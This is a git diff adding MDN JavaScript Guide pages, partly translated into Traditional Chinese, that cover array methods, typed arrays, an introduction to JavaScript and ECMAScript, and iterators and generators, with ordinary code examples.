+<p>{{jsxref("Array.concat", "concat()")}} joins two arrays and returns a new array.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3');
+myArray = myArray.concat('a', 'b', 'c');
+// myArray is now ["1", "2", "3", "a", "b", "c"]
+</pre>
+
+<p>{{jsxref("Array.join", "join(deliminator = ',')")}} joins all elements of an array into a string.</p>
+
+<pre class="brush: js">var myArray = new Array('Wind', 'Rain', 'Fire');
+var list = myArray.join(' - '); // list is "Wind - Rain - Fire"
+</pre>
+
+<p>{{jsxref("Array.push", "push()")}} adds one or more elements to the end of an array and returns the resulting length of the array.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2');
+myArray.push('3'); // myArray is now ["1", "2", "3"]
+</pre>
+
+<p>{{jsxref("Array.pop", "pop()")}} removes the last element from an array and returns that element.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3');
+var last = myArray.pop();
+// myArray is now ["1", "2"], last = "3"
+</pre>
+
+<p>{{jsxref("Array.shift", "shift()")}} removes the first element from an array and returns that element.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3');
+var first = myArray.shift();
+// myArray is now ["2", "3"], first is "1"
+</pre>
+
+<p>{{jsxref("Array.unshift", "unshift()")}} adds one or more elements to the front of an array and returns the new length of the array.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3');
+myArray.unshift('4', '5');
+// myArray becomes ["4", "5", "1", "2", "3"]</pre>
+
+<p>{{jsxref("Array.slice", "slice(start_index, upto_index)")}} extracts a section of an array and returns a new array.</p>
+
+<pre class="brush: js">var myArray = new Array('a', 'b', 'c', 'd', 'e');
+myArray = myArray.slice(1, 4); // starts at index 1 and extracts all elements
+                               // until index 3, returning [ "b", "c", "d"]
+</pre>
+
+<p>{{jsxref("Array.splice", "splice(index, count_to_remove, addElement1, addElement2, ...)")}} removes elements from an array and (optionally) replaces them. It returns the items which were removed from the array.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3', '4', '5');
+myArray.splice(1, 3, 'a', 'b', 'c', 'd');
+// myArray is now ["1", "a", "b", "c", "d", "5"]
+// This code started at index one (or where the "2" was),
+// removed 3 elements there, and then inserted all consecutive
+// elements in its place.
+</pre>
+
+<p>{{jsxref("Array.reverse", "reverse()")}} transposes the elements of an array, in place: the first array element becomes the last and the last becomes the first. It returns a reference to the array.</p>
+
+<pre class="brush: js">var myArray = new Array('1', '2', '3');
+myArray.reverse();
+// transposes the array so that myArray = ["3", "2", "1"]
+</pre>
+
+<p>{{jsxref("Array.sort", "sort()")}} sorts the elements of an array in place, and returns a reference to the array.</p>
+
+<pre class="brush: js">var myArray = new Array('Wind', 'Rain', 'Fire');
+myArray.sort();
+// sorts the array so that myArray = ["Fire", "Rain", "Wind"]
+</pre>
+
+<p><code>sort()</code> can also take a callback function to determine how array elements are compared.</p>
+
+<p>The sort method and other methods below that take a callback are known as <em>iterative methods</em>, because they iterate over the entire array in some fashion. Each one takes an optional second argument called <code>thisObject</code>. If provided, <code>thisObject</code> becomes the value of the <code>this</code> keyword inside the body of the callback function. If not provided, as with other cases where a function is invoked outside of an explicit object context, <code>this</code> will refer to the global object ({{domxref("window")}}).</p>
+
+<p>The callback function is called with two arguments, that are array's elements.</p>
+
+<p>The function below compares two values and returns one of three values:</p>
+
+<p>For instance, the following will sort by the last letter of a string:</p>
+
+<pre class="brush: js">var sortFn = function(a, b) {
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn);
+// sorts the array so that myArray = ["Wind","Fire","Rain"]</pre>
+
+<ul>
+ <li>if <code>a</code> is less than <code>b</code> by the sorting system, return -1 (or any negative number)</li>
+ <li>if <code>a</code> is greater than <code>b</code> by the sorting system, return 1 (or any positive number)</li>
+ <li>if <code>a</code> and <code>b</code> are considered equivalent, return 0.</li>
+</ul>
+
+<p>{{jsxref("Array.indexOf", "indexOf(searchElement[, fromIndex])")}} searches the array for <code>searchElement</code> and returns the index of the first match.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b')); // logs 1
+// Now try again, starting from after the last match
+console.log(a.indexOf('b', 2)); // logs 3
+console.log(a.indexOf('z')); // logs -1, because 'z' was not found
+</pre>
+
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} works like <code>indexOf</code>, but starts at the end and searches backwards.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b')); // logs 5
+// Now try again, starting from before the last match
+console.log(a.lastIndexOf('b', 4)); // logs 1
+console.log(a.lastIndexOf('z')); // logs -1
+</pre>
+
+<p>{{jsxref("Array.forEach", "forEach(callback[, thisObject])")}} executes <code>callback</code> on every array item and returns undefined.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(function(element) { console.log(element); });
+// logs each item in turn
+</pre>
+
+<p>{{jsxref("Array.map", "map(callback[, thisObject])")}} returns a new array of the return value from executing <code>callback</code> on every array item.</p>
+
+<pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // logs ['A', 'B', 'C']
+</pre>
+
+<p>{{jsxref("Array.filter", "filter(callback[, thisObject])")}} returns a new array containing the items for which callback returned true.</p>
+
+<pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item === 'number'; });
+console.log(a2); // logs [10, 20, 30]
+</pre>
+
+<p>{{jsxref("Array.every", "every(callback[, thisObject])")}} returns true if <code>callback</code> returns true for every item in the array.</p>
+
+<pre class="brush: js">function isNumber(value) {
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} returns true if <code>callback</code> returns true for at least one item in the array.</p>
+
+<pre class="brush: js">function isNumber(value) {
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // logs true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.reduce", "reduce(callback[, initialValue])")}} applies <code>callback(firstValue, secondValue)</code> to reduce the list of items down to a single value and returns that value.</p>
+
+<pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(first, second) { return first + second; }, 0);
+console.log(total) // Prints 60
+</pre>
+
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initialValue])")}} works like <code>reduce()</code>, but starts with the last element.</p>
+
+<p><code>reduce</code> and <code>reduceRight</code> are the least obvious of the iterative array methods. They should be used for algorithms that combine two values recursively in order to reduce a sequence down to a single value.</p>
+
+<h3 id="Multi-dimensional_arrays">Multi-dimensional arrays</h3>
+
+<p>Arrays can be nested, meaning that an array can contain another array as an element. Using this characteristic of JavaScript arrays, multi-dimensional arrays can be created.</p>
+
+<p>The following code creates a two-dimensional array.</p>
+
+<pre class="brush: js">var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = '[' + i + ', ' + j + ']';
+  }
+}
+</pre>
+
+<p>This example creates an array with the following rows:</p>
+
+<pre>Row 0: [0, 0] [0, 1] [0, 2] [0, 3]
+Row 1: [1, 0] [1, 1] [1, 2] [1, 3]
+Row 2: [2, 0] [2, 1] [2, 2] [2, 3]
+Row 3: [3, 0] [3, 1] [3, 2] [3, 3]
+</pre>
+
+<h3 id="Arrays_and_regular_expressions">Arrays and regular expressions</h3>
+
+<p>When an array is the result of a match between a regular expression and a string, the array returns properties and elements that provide information about the match. An array is the return value of {{jsxref("Global_Objects/RegExp/exec","RegExp.exec()")}}, {{jsxref("Global_Objects/String/match","String.match()")}}, and {{jsxref("Global_Objects/String/split","String.split()")}}. For information on using arrays with regular expressions, see <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a>.</p>
+
+<h3 id="Working_with_array-like_objects">Working with array-like objects</h3>
+
+<p>Some JavaScript objects, such as the {{domxref("NodeList")}} returned by {{domxref("document.getElementsByTagName()")}} or the {{jsxref("Functions/arguments","arguments")}} object made available within the body of a function, look and behave like arrays on the surface but do not share all of their methods. The <code>arguments</code> object provides a {{jsxref("Global_Objects/Function/length","length")}} attribute but does not implement the {{jsxref("Array.forEach", "forEach()")}} method, for example.</p>
+
+<p>Array prototype methods can be called against other array-like objects. for example:</p>
+
+<pre class="brush: js">function printArguments() {
+  Array.prototype.forEach.call(arguments, function(item) {
+    console.log(item);
+  });
+}
+</pre>
+
+<p>Array prototype methods can be used on strings as well, since they provide sequential access to their characters in a similar way to arrays:</p>
+
+<pre class="brush: js">Array.prototype.forEach.call('a string', function(chr) {
+  console.log(chr);
+});</pre>
+
+<h2 id="Typed_Arrays">Typed Arrays</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a> are array-like objects and provide a mechanism for accessing raw binary data. As you already know, {{jsxref("Array")}} objects grow and shrink dynamically and can have any JavaScript value. JavaScript engines perform optimizations so that these arrays are fast. However, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using <a href="/en-US/docs/WebSockets">WebSockets</a>, and so forth, it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data in typed arrays.</p>
+
+<h3 id="Buffers_and_views_typed_array_architecture">Buffers and views: typed array architecture</h3>
+
+<p>To achieve maximum flexibility and efficiency, JavaScript typed arrays split the implementation into <strong>buffers</strong> and <strong>views</strong>. A buffer (implemented by the {{jsxref("ArrayBuffer")}} object) is an object representing a chunk of data; it has no format to speak of, and offers no mechanism for accessing its contents. In order to access the memory contained in a buffer, you need to use a view. A view provides a context — that is, a data type, starting offset, and number of elements — that turns the data into an actual typed array.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>The {{jsxref("ArrayBuffer")}} is a data type that is used to represent a generic, fixed-length binary data buffer. You can't directly manipulate the contents of an <code>ArrayBuffer</code>; instead, you create a typed array view or a {{jsxref("DataView")}} which represents the buffer in a specific format, and use that to read and write the contents of the buffer.</p>
+
+<h3 id="Typed_array_views">Typed array views</h3>
+
+<p>Typed array views have self descriptive names and provide views for all the usual numeric types like <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> and so forth. There is one special typed array view, the <code>Uint8ClampedArray</code>. It clamps the values between 0 and 255. This is useful for <a href="/en-US/docs/Web/API/ImageData">Canvas data processing</a>, for example.</p>
+
+<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
+
+<p>For more information, see <a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a> and the reference documentation for the different {{jsxref("TypedArray")}} objects.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/introduction/index.html b/files/zh-tw/web/javascript/guide/introduction/index.html
new file mode 100644
index 0000000000..ab855f45fc
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/introduction/index.html
@@ -0,0 +1,180 @@
+---
+title: JavaScript 概觀
+slug: Web/JavaScript/Guide/Introduction
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
+
+<p>這個章節的內容主要是介紹 JavaScript 和討論一些 JavaScript 的基本概念。</p>
+
+<h2 id="在開始前需具備之能力">在開始前需具備之能力</h2>
+
+<p>本手冊假設您具有以下基本背景：</p>
+
+<ul>
+ <li>對網際網路及全球資訊網有大致上的了解</li>
+ <li>對HTML(HyperText Markup Language )語法理解至一定程度</li>
+ <li>有寫過程式的經驗，若您是完全的新手，可嘗試在主頁上有關<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript">JavaScript</a>的教程。</li>
+</ul>
+
+<p> </p>
+
+<h2 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">什麼是 JavaScript？</h2>
+
+<p>JavaScript 是個跨平台、物件導向、輕小型的腳本語言。作為獨立語言並不實用，而是為了能簡單嵌入其他產品和應用程式（例如：網頁瀏覽器）而設計。JavaScript 若寄宿在主體環境（Host environment）時，可以與環境中的物件 （Object）相連，並以程式控制這些物件。</p>
+
+<p>Core JavaScript 包含了物件的核心集合（例如: <code>Array、</code> <code>Date、</code> <code>Math</code>）及語言成份的核心集合（例如：運算子、控制結構、敘述）。在 Core JavaScript 增加額外的物件即可擴充各式各樣的功能，例如：</p>
+
+<ul>
+ <li>用戶端 - JavaScript 藉由提供物件來擴增核心語言達到控制網頁瀏覽器和其文件物件模型（DOM，Document Object Model）的目的。</li>
+</ul>
+
+<p style="margin-left: 40px;">舉例來說：用戶端的擴充套件允許某個應用程式將元素放置在 HTML 的表單上及對使用者的操作（例如：滑鼠點選、表單輸入、頁面導覽等）做出回應。</p>
+
+<ul>
+ <li>伺服器端 - JavaScript 藉由提供和伺服器上執行 JavaScript 相關的物件來擴增核心語言。</li>
+</ul>
+
+<p style="margin-left: 40px;">舉例來說：伺服器端的擴充套件允許某個應用程式和相關的資料庫交換訊息、對一個其他應用程式的呼叫提供連續性的資訊、在伺服器上執行檔案操作。</p>
+
+<p>透過 JavaScript 的 LiveConnect 功能，你可以使 Java 和 JavaScript 的程式碼彼此相連。在 JavaScript 的程式碼中，你可以實例化（instantiate）Java 的物件並存取那些物件的公有方法（public methods）及欄位（fields）。在 Java 的程式碼中，你可以存取 JavaScript 的物件、屬性（properties）及方法（methods）。</p>
+
+<p>Netscape 公司發明了 JavaScript ，而 JavaScript 的第一次使用正是在 Netscape 自家的瀏覽器上。</p>
+
+<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript 與 Java</h2>
+
+<p>JavaScript 與 Java 在某些方面非常相似但本質上卻是不同的。 JavaScript 雖然和 Java 類似，卻沒有 Java 的靜態定型（static typing）及強型態確認（strong type checking）特性。 JavaScript 遵從大部份的 Java 表達式語法、命名傳統和基本的流程控制概念，這特性同時也是為何要將 LiveScript 重新命名為 JavaScript 的原因。</p>
+
+<p>相較於 Java 由許多類別中的宣告建立的 compile-time 系統，JavaScript 支援一個由少數代表數值（numeric）、布林值（Boolean）、字串（string）的資料類型所構成的執行期函式庫（runtime system）。JavaScript 擁有一個基於原型的物件模型（prototype-based object model）而不是普遍使用的基於類別的物件模型（class-based object model）。基於原型的物件模型提供動態繼承（dynamic inheritance）的功能，意即被繼承的物件可以根據個別的物件而改變。JavaScript 也支援不需任何特殊宣告的函式，函式可以是物件的屬性，如同鬆散型態方法（loosely typed method）那樣執行。</p>
+
+<p>JavaScript 和 Java 相比起來，算是一個格式非常自由的語言。你不需要宣告所有的變數、類別（class）、方法，你不需要注意哪些方法是公有（public）或私有（private）或受保護的（protected），你不需要實作介面（interface）。變數、參數及函式回傳的型態並不是顯性型態。</p>
+
+<p>Java 是一個為了快速執行與安全型態而設計的基於類別的程式語言（class-based programming language）。安全型態意即你在 Java 中無法將整數丟給一個物件參考，也無法藉由中斷 Java bytecodes 來存取私有的記憶體。 Java 的基於類別模型（class-based model）意思是程式由專門的類別及其方法所組成。Java 的類別繼承（class inheritance）和強型別（strong typing）通常需要嚴謹的耦合對象階級（coupled object hierarchies）。這些需求使得 Java 在程式的撰寫上比 JavaScript 來的複雜。</p>
+
+<p>相反的，JavaScript 承襲了如同 HyperTalk 和 dBASE 相同的精神：較小、動態類型。 這些腳本語言因為較簡單的語法、特殊化的功能、較寬鬆的要求等特性，進而提供了許多軟體開發工具（programming tool）給更多更廣大的愛好者。</p>
+
+<p>表1.1 - JavaScript 和 Java 比較</p>
+
+<table class="standard-table">
+ <caption> </caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>物件導向。</p>
+
+    <p>物件的型態之間無區別。</p>
+
+    <p>藉由原型機制（prototype mechanism）和屬性（properties）實行繼承。</p>
+
+    <p>屬性和方法可被動態新增至任何物件。</p>
+   </td>
+   <td>
+    <p>類別導向。</p>
+
+    <p>物件藉由類別階級（class hierarchy）而被分離至類別和所有繼承的實體（instance）中。</p>
+
+    <p>類別和實體無法動態新增屬性和方法。</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>變數資料型態沒有宣告就可使用（動態定型，dynamic typing）。</p>
+   </td>
+   <td>
+    <p>變數資料型態必須宣告才可使用（靜態定型，static typing）。</p>
+   </td>
+  </tr>
+  <tr>
+   <td>無法自動覆寫到硬碟。</td>
+   <td>無法自動覆寫到硬碟。</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>更多關於 JavaScript 和 Java 的差異比較，請參見 <a href="/zh-TW/docs/JavaScript/Guide/Details_of_the_Object_Model" title="JavaScript/Guide/Details of the Object Model">Details of the Object Model</a> 。</p>
+
+<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript 與 ECMAScript 規格</h2>
+
+<p>Netscape 公司發明了 JavaScript ，而 JavaScript 的第一次應用正是在 Netscape 瀏覽器。然而，Netscape 後來和 <a class="external" href="http://www.ecma-international.org/">Ecma International</a>（一個致力於將資訊及通訊系統標準化的歐洲組織，前身為 ECMA - 歐洲計算機製造商協會）合作，開發一個基於 JavaScript 核心並同時兼具標準化與國際化的程式語言，這個經過標準化的 JavaScript 便稱作 ECMAScript ，和 JavaScript 有著相同的應用方式並支援相關標準。各個公司都可以使用這個開放的標準語言去開發 JavaScript 的專案。ECMAScript 標準記載於 ECMA-262 這個規格中。</p>
+
+<p>ECMA-262 標準同時也經過 <a class="external" href="http://www.iso.ch/">ISO</a>（國際標準化組織）認証，成為 ISO-16262 標準。你可以在 Mozilla 的網站上找到 <a class="external" href="http://www-archive.mozilla.org/js/language/E262-3.pdf" title="http://www-archive.mozilla.org/js/language/E262-3.pdf">PDF版本的ECMA-262</a>，但這板本已過期；你也可以在<a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm"> Ecma International 的網站</a> 找到這個規格。 ECMAScript 規格中並沒有描述已經被 W3C（全球資訊網協會）標準化的文件物件模型（DOM）。文件物件模型定義了 HTML 文件物件（document objects）和腳本之間運作的方式。</p>
+
+<h3 id="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions" name="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions">JavaScript 版本與 ECMAScript 版本之間的關係</h3>
+
+<p>ECMAScript 規格（ECMA-262）在 Netscape 和 Ecma International 的密切合作下產生。下表描述了 JavaScript 的版本和 ECMAScript 的版本之間的關係。</p>
+
+<p>表1.2 - JavaScript 版本及 ECMAScript 版本</p>
+
+<table class="standard-table">
+ <caption> </caption>
+ <thead>
+  <tr>
+   <th scope="row" style="width: 9em;">JavaScript 的版本</th>
+   <th scope="col">和 ECMAScript 版本的關係</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>ECMA-262 第1版是基於 JavaScript 1.1 建立的。</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>
+    <p>ECMA-262 在 JavaScript 1.2 發行之際尚未完成。以下是 JavaScript 1.2 並未完全相容於 ECMA-262 第1版的原因：</p>
+
+    <ul>
+     <li>Netscape 在 JavaScript 1.2 中新增了一些特性，而這些特性在 ECMA-262 並未被考慮到。</li>
+     <li>ECMA-262 新增了兩個新的特性：使用國際化的 Unicode 編碼及統一了不同平台之間的行為。JavaScript 1.2 中的一些特性，例如：日期物件（Date object）是具有平台依賴性（platform-dependent）並且使用平台特製化行為（platform-specific behavior）的。</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.3</td>
+   <td>
+    <p>JavaScript 1.3 完全相容於 ECMA-262 第1版。</p>
+    JavaScript 1.3 藉由保留所有在 JavaScript 1.2 新增的特性（除了 == 和 ！= 以外，因為要和 ECMA-262 一致），解決了 JavaScript 1.2 和 ECMA-262 之間的衝突。</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.4</td>
+   <td>
+    <p>JavaScript 1.4 完全相容於 ECMA-262 第1版。</p>
+    ECMAScript 第3版規格在 JavaScript 1.4 發行之際尚未完成。</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>JavaScript 1.5 完全相容於 ECMA-262 第3版。</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">注意：ECMA-262 第2版是由已修正錯誤的第1版並加上些微的更動構成。現今由 Ecma International 的 TC39 工作組（TC39 Working Group）所發行的版本是 ECMAScript 5.1版</div>
+
+<p><a href="/zh-TW/docs/JavaScript/Reference" title="JavaScript/Reference">JavaScript Reference</a> 指出了哪些 JavaScript 的特性是相容於 ECMAScript 的。</p>
+
+<p>JavaScript 永遠包含許多非 ECMAScript 規格中的特性；</p>
+
+<p>JavaScript 不僅相容於 ECMAScript 更提供了額外的特性。</p>
+
+<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript 使用說明 v.s ECMAScript 規格</h3>
+
+<p>ECMAScript 規格是執行 ECMAScript 所必須的條件，當你想判斷某個 JavaScript 的特性是否在其他 ECMAScript 實作中有被支援時，ECMAScript 規格是非常有用的。如果你打算撰寫 JavaScript 程式碼並在程式碼中使用僅有 ECMAScript 所支援的特性，那你可能需要查閱一下 ECMAScript 規格。</p>
+
+<p>ECMAScript 文件並不是為了幫助腳本程式設計師而撰寫，如果想知道撰寫腳本的相關資訊，請參考 JavaScript 使用說明。</p>
+
+<h3 id="JavaScript_and_ECMAScript_Terminology" name="JavaScript_and_ECMAScript_Terminology">JavaScript 和 ECMAScript 的專門術語</h3>
+
+<p>ECMAScript 規格使用的術語和語法對於 JavaScript 的程式設計師來說可能不是那麼的親切。雖然語言的描述在 ECMAScript 中可能會有所不同，但語言本身的性質仍然是不變的。JavaScript 支援所有在 ECMAScript 規格中被描述到的功能。</p>
+
+<p>JavaScript 使用說明對於語言的觀點的描述較適合 JavaScript 的程式設計師。例如：</p>
+
+<ul>
+ <li>因為全域物件（Global Object）並不會被直接使用，所以並沒有在 JavaScript 文件說明中被論及。而像是全域物件的方法和屬性這些有被使用到的，就有在 JavaScript 使用說明中被論及，但被稱作頂層（top-level）函式和頂層屬性。</li>
+ <li>無參數建構函式（no parameter constructor，也稱作零參數建構函式，zero-argument constructor）。帶有 Number 物件及 String 物件的無參數建構函式並沒有在 JavaScript 使用說明中被論及，因為其產生出來的東西用途有限：一個沒有參數的 Number 建構函式回傳 +0 、一個沒有參數的 String 建構函式回傳 "" （一個空字串）</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/guide/iterators_and_generators/index.html b/files/zh-tw/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..6ad6128a6f
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,193 @@
+---
+title: Iterators and generators
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">處理集合中的每個項目是很常見的操作，JavaScript提供了許多迭代集合的方法，從簡單的 {{jsxref("Statements/for","for")}} 循環到 {{jsxref("Global_Objects/Array/map","map()")}} 和  {{jsxref("Global_Objects/Array/filter","filter()")}}。</p>
+
+<p class="summary">Iterators 和 Generators 將迭代的概念直接帶進核心語言，並提供一個機制來客製化  {{jsxref("Statements/for...of","for...of")}}  的循環行為。</p>
+
+<p>更多詳情請參考：</p>
+
+<ul>
+ <li>{{jsxref("Iteration_protocols")}}</li>
+ <li>{{jsxref("Statements/for...of","for...of")}}</li>
+ <li>{{jsxref("Statements/function*","function*")}} 和 {{jsxref("Generator")}}</li>
+ <li>{{jsxref("Operators/yield","yield")}} 和 {{jsxref("Operators/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="Iterators_疊代器">Iterators (疊代器)</h2>
+
+<p>在 JavaScript 中，<strong>iterator</strong> 是一個物件(object)，他定義一個序列，並在終止時回傳一個值。</p>
+
+<p>更精確地說，iterator 是任何一個透過 <code>next()</code> 方法實現 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">Iterator protocol</a> 的物件，該方法回傳具有以下兩個屬性 (property) 的物件：</p>
+
+<dl>
+ <dt><code><var>value</var></code></dt>
+ <dd>在 iteration 序列中的下一個值。</dd>
+ <dt><code><var>done</var></code></dt>
+ <dd>如果序列中的最後一個值已經被消耗(使用)了，則此值為 <code>true</code> 。如果 <code><var>value</var></code> 和 <code><var>done</var></code> 一起存在， 則他是這個 iterator 的回傳值。</dd>
+</dl>
+
+<p>一旦建立 iterator 物件後，可以透過反覆呼叫 <code>next()</code> 來進行迭代。 iterator 經過迭代後，即被認為已經消耗iterator ，因為通常只可能執行一次。在產生終止值之後，對  <code>next()</code> 的其他調用應僅繼續返回{done：true}。<br>
+ <br>
+ The most common iterator in Javascript is the Array iterator, which simply returns each value in the associated array in sequence. While it is easy to imagine that all iterators could be expressed as arrays, this is not true. Arrays must be allocated in their entirety, but iterators are consumed only as necessary and thus can express sequences of unlimited size, such as the range of integers between 0 and Infinity.<br>
+ <br>
+ Here is an example which can do just that. It allows creation of a simple range iterator which defines a sequence of integers from <code>start</code> (inclusive) to <code>end</code> (exclusive) spaced <code>step</code> apart. Its final return value is the size of the sequence it created, tracked by the variable iterationCount.</p>
+
+<pre class="brush: js">function makeRangeIterator(start = 0, end = Infinity, step = 1) {
+    let nextIndex = start;
+    let iterationCount = 0;
+
+    const rangeIterator = {
+       next: function() {
+           let result;
+           if (nextIndex &lt;= end) {
+               result = { value: nextIndex, done: false }
+               nextIndex += step;
+               iterationCount++;
+               return result;
+           }
+           return { value: iterationCount, done: true }
+       }
+    };
+    return rangeIterator;
+}</pre>
+
+<p>Using the iterator then looks like this:</p>
+
+<pre class="brush: js">let it = makeRangeIterator(1, 10, 2);
+
+let result = it.next();
+while (!result.done) {
+ console.log(result.value); // 1 3 5 7 9
+ result = it.next();
+}
+
+console.log("Iterated over sequence of size: ", result.value); // 5
+
+</pre>
+
+<div class="note">
+<p>It is not possible to know reflectively whether a particular object is an iterator. If you need to do this, use <a href="#Iterables">Iterables</a>.</p>
+</div>
+
+<h2 id="Generator_functions">Generator functions</h2>
+
+<p>While custom iterators are a useful tool, their creation requires careful programming due to the need to explicitly maintain their internal state. Generator functions provide a powerful alternative: they allow you to define an iterative algorithm by writing a single function whose execution is not continuous. Generator functions are written using the {{jsxref("Statements/function*","function*")}} syntax. When called initially, generator functions do not execute any of their code, instead returning a type of iterator called a Generator. When a value is consumed by calling the generator's <strong>next</strong> method, the Generator function executes until it encounters the <strong>yield</strong> keyword.</p>
+
+<p>The function can be called as many times as desired and returns a new Generator each time, however each Generator may only be iterated once.<br>
+ <br>
+ We can now adapt the example from above. The behavior of this code is identical, but the implementation is much easier to write and read.</p>
+
+<pre class="brush: js">function* makeRangeIterator(start = 0, end = 100, step = 1) {
+    for (let i = start; i &lt; end; i += step) {
+        yield i;
+    }
+}</pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>An object is <strong>iterable</strong> if it defines its iteration behavior, such as what values are looped over in a {{jsxref("Statements/for...of", "for...of")}} construct. Some built-in types, such as {{jsxref("Array")}} or {{jsxref("Map")}}, have a default iteration behavior, while other types (such as {{jsxref("Object")}}) do not.</p>
+
+<p>In order to be <strong>iterable</strong>, an object must implement the <strong>@@iterator</strong> method, meaning that the object (or one of the objects up its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a>) must have a property with a {{jsxref("Symbol.iterator")}} key.<br>
+ <br>
+ It may be possible to iterate over an iterable more than once, or only once. It is up to the programmer to know which is the case. Iterables which can iterate only once (e.g. Generators) customarily return <strong>this</strong> from their <strong>@@iterator</strong> method, where those which can be iterated many times must return a new iterator on each invocation of <strong>@@iterator</strong>.</p>
+
+<h3 id="User-defined_iterables">User-defined iterables</h3>
+
+<p>We can make our own iterables like this:</p>
+
+<pre class="brush: js">var myIterable = {
+    *[Symbol.iterator]() {
+        yield 1;
+        yield 2;
+        yield 3;
+    }
+}
+
+for (let value of myIterable) {
+    console.log(value);
+}
+// 1
+// 2
+// 3
+
+or
+
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Built-in_iterables">Built-in iterables</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} and {{jsxref("Set")}} are all built-in iterables, because their prototype objects all have a {{jsxref("Symbol.iterator")}} method.</p>
+
+<h3 id="Syntaxes_expecting_iterables">Syntaxes expecting iterables</h3>
+
+<p>Some statements and expressions are expecting iterables, for example the {{jsxref("Statements/for...of","for-of")}} loops, {{jsxref("Operators/yield*","yield*")}}.</p>
+
